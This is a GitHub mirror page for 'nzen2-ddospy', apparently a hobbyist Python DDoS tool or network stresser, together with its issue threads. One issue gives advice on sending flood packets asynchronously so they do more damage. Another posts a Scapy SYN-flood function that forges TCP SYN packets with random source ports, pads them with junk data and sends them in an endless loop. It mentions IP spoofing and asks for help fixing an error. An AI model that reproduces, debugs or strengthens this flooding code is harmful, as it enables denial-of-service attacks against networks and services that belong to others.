GithubHelp home page GithubHelp logo

gteditor99 / nzen2-ddospy Goto Github PK

View Code? Open in Web Editor NEW
6.0 2.0 1.0 33 KB

A Potentially Distributable Denial of Service Attack / Network stresser made with Python

License: MIT License

Python 100.00%
networking ddos python python3 network-stress-testing

nzen2-ddospy's Introduction

Hi there! ๐Ÿ‘‹

I'm a part-time Rustacean and disnake enthusiast.



๐Ÿ† GitHub Trophies

nzen2-ddospy's People

Contributors

gteditor99 avatar ksong0xd avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Forkers

meyoui

nzen2-ddospy's Issues

Good Job!!!

#DDoS.py

Good job!! Gteditor99! But one thing you need to be aware of is the "subprocess.run" method is waiting for your batch file execution to finish. so you are sending 65KB packets per xx seconds which are actually a smaller packet size to give network stress (you need to send them at once by using a different methodology like asynchronous)

Plus, you don't need to write the same batch files to achieve your goal. Because your subprocess.run() will run the batch file in your CPU's another logical process which means you will have the same result even if you use the same file on your while loop like this, which also means you don't have to write the repetitive code up there.

 while True:
        subprocess.run('bot.bat') 

subprocess.run() will make another process every time to run your batch file.
But as I said before, the subprocess is not asynchronous. so you may need to use another approach for async like https://docs.python.org/3/library/asyncio-subprocess.html#asyncio.create_subprocess_exec

Overall this project is exciting but. Few things I'd like to advise you in general are...

  1. have a clear goal for this project.
  2. have a clear test plan to make sure your thought is actually running on your computer as you originally plan (in the case of this project, maybe Virtual Machine to run against? or unit test?)
  3. this is a great job as your first project to the world! But if it's more things to make the world a better place by your skill, you will earn more credit and be more famous!

Doesn't Work.

Press Enter to exit:WARNING: No route found (no default route?)
Exception in thread Thread-1 (attack):
Traceback (most recent call last)

--HELP WANTED--

def DoS_synflood():  
    # forge IP packet with target ip as the destination IP address

    ip = IP(dst=target_ip)

    # forge a TCP SYN packet with a random source port
    # and the target port as the destination port

    tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
    
    # add some flooding data (1kb in this case)
    raw = RawVal(b"X"*1024)

    # stack up the layers
    p = ip / tcp / raw 

    # send the constructed packet in a loop until CTRL+C is detected 
    send(p, loop=1, verbose=0)

I replaced

while True:
      subprocess.run('bot.bat')

with Scapy, for more efficient code & the ability to implement more options,
like SYN Flooding (A.k.a TCP flooding), or IP spoofing. This also means that a dependency will be added, Ncpcap,
And will have to be manually installed by the user.

Speaking of SYN flooding, the function there, ( DoS_synflood() ) has 5 parts.

  1. Statement IP, (First layer, links the user input to the actual chunk.)
  2. Statement TCP, (Second layer, links the user input to the actual chunk.)
  3. Statement RAW, (Third layer, determines the flooding data.

The problem here is that when executed, (In debug mode) this happens:

Exception has occurred: AttributeError
'RawVal' object has no attribute '__rdiv__'
  File "C:\Users\xxxxxxx\xxxxx\Nzen2-DDoS\DDoS.py", line 141, in DoS_synflood
    p = ip / tcp / raw
  File "C:\Users\xxxxxxx\xxxxx\Nzen2-DDoS\DDoS.py", line 161, in <module>
    DoS_synflood()

It's obviously referring to raw = RawVal(b"X"*1024), but I have yet to figure out what 'rdiv' is.
Help?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.